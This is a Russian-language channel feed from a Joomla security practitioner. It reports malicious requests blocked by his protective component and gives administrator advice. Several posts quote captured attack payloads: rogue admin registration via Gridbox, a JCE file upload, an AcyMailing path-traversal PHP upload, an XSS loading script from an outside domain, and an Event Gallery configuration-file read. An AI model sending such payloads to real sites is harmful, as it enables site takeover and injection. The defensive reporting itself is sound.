Сайтогон Навсегда в мессенджере MAX — 50 подписчиков, аналитика и статистика

Последние публикации канала «Сайтогон Навсегда»

1. 23 просмотров, 31 июл. 2026 г.

   Вот  ещё интересный запросик: Array ( [option] => com_gridbox [task] => store.register [name] => admin_hack [username] => admin_hack [password1] => Hacked123! [password2] => Hacked123! [email1] => hack@proton.me [groups] => Array ( [0] => 8 ) )

2. 30 просмотров, 31 июл. 2026 г., изображение

   Обращаюсь к будущим и настоящим поколениям администраторов Joomla. Ребята! Не надо менять меню административной панели. Вы добавляете чуть больше гемороя для тех, кто придет после вас. Вот пример переделанного меню админки. Одни матюги.

   
3. 28 просмотров, 31 июл. 2026 г., изображение

   Интересный обход. Поиск вредоносных файлов на сайте. Кстати, судя по обходу, робот предполагал, что сайт на вордпрессе. Таких "обходчиков" в будущем нужно как то пресекать.

   
4. 31 просмотров, 31 июл. 2026 г., изображение

   Попался второй в моей практике проект, взломанный в связке: Gridbox + BaForms Что из этого взломали первым? Наука не знает ответа на этот вопрос.

   
5. 35 просмотров, 30 июл. 2026 г.

   Кстати. За последние дни самое высокое число вредоносных запросов из Сингапура и Индонезии.

6. 59 просмотров, 29 июл. 2026 г., изображение

   Запал иссяк.

   
7. 78 просмотров, 28 июл. 2026 г.

   Запрос такого плана появился буквально недавно. И, подозреваю, что ничего хорошего владельцу сайта он не несёт: Array ( [option] => com_jce [task] => editor.upload [plugin] => imgmanager [file] => upload [dir] => images )

8. 65 просмотров, 27 июл. 2026 г.

   Ещё раз всем напоминаю: "С 1 сентября 2026 года для доменов в зонах .ru, .рф и .su потребуется идентификация через Госуслуги (ЕСИА). Если вовремя не подтвердить данные, домен нельзя будет продлить — сайт перестанет работать, а бизнес окажется под угрозой."

9. 95 просмотров, 23 июл. 2026 г., изображение

   Встречаются взломоустойчивые решения построенные на сложной системе "костылей".В этой системе теряются и разработчик и нейросети.

   
10. 72 просмотров, 22 июл. 2026 г., изображение

    #joomla Обновилась Жимолость для Joomla 5 и выше. Все изменения коснулись административной панели. Поиск в административной панели по стоп-словам Исправлена ошибка при поиске по стоп-словам в административной панели Поиск по причине блокировке Поиск в списке заблокированных IP теперь ищет и по причине блокировке. То есть, по любому тексту из запроса Перенос текста в списке заблокированных IP Добавлен перенос текста в колонке "Причина блокировки". Каждая переменная запроса отображается с новой строки. Длинные слова разбиваются Копирование в буфер обмена причины блокировки Добавлена…

    
11. 64 просмотров, 22 июл. 2026 г.

    #joomla И вот ещё:                                     Array ( [option] => com_acym [tmpl] => comComponent [ctrl] => frontmails [task] => setNewThumbnail [179c53b5ab3fcea56a359bda67f5e045] => 1 [content] => data:image/png;base64,PD9waHAgZW [thumbnail] => thumbnail_636;../../b.php;../../../../../../b1.png?.php ) Кстати. Раньше, зачем то с каждым шаблоном шёл в комплекте компонент AcyMailing. Его не удаляли. Типа пусть будет на всякий случай. Друзья! Я всех поздравляю! Этот случай наступил. Теперь ваш сайт могут взломать через этот компонент.

12. 64 просмотров, 21 июл. 2026 г., изображение

    Вражеский ИИ не дремлет. И вашему вниманию новый вредоносный запрос: Array ( [option] => com_ajax [plugin] => helixultimate [format] => json [task] => saveMegaMenuSettings [settings] => Array ( [customclass] => "><script observatory top/oauth/reset-dom js></script> ) [id] => 714 ) Что ж.. обновлять на сайте базу стоп-слов раз в сутки - уже мало. Придётся делать это раз в час.

    
13. 65 просмотров, 21 июл. 2026 г.

    ИИ не дремлет. И вашему вниманию новый вредоносный запрос: Array ( [option] => com_ajax [plugin] => helixultimate [format] => json [task] => saveMegaMenuSettings [settings] => Array ( [customclass] => "><script/async/src=//thistleobservatory.top/oauth/reset-dom.js></script> ) [id] => 714 ) В настройках Жимолости стояло: обновлять стоп-слова с центрального сайта раз в сутки. Пожалуй, имеет смысл поставить: раз в час.

14. 70 просмотров, 21 июл. 2026 г.

    В зоне риска владельцы сайтов с установленной Event Gallery. Обнаружены файлы внедрённые через этот компонент. ИИ рассказывает следующее: Потенциальная уязвимость: В очень старых версиях com_eventgallery (под Joomla 2.5 / 3) в этом представлении (resizeimage) была уязвимость, позволявшая злоумышленникам читать произвольные файлы на сервере (например, ../../../../configuration.php), подставляя их названия в параметр [file] И что то мне подсказывает, что уязвимость эта не совсем закрыта. Или закрыта не совсем. Пример запроса: Array ( [folder] => svadba-dzhinsovaya [file] =>…

15. 83 просмотров, 19 июл. 2026 г., изображение

    #joomla Меня часто спрашивают: Какую нагрузку на сайт создает Жимолость в процессе борьбы со вредоносными запросами? Я отвечу: Нагрузка минимальна, при этом последние версии компонента позволили сэкономить на запросах в базу данных, ибо происходит блокировка вражеских IP. Не все знают, но каждое открытие сайта - это целый набор запросов в БД. В процессе атак таких открытий происходит множество. Показательным примером стал сервер, на котором расположен мой сайт. Сервер реально задышал легче, а сайты заработали быстрее.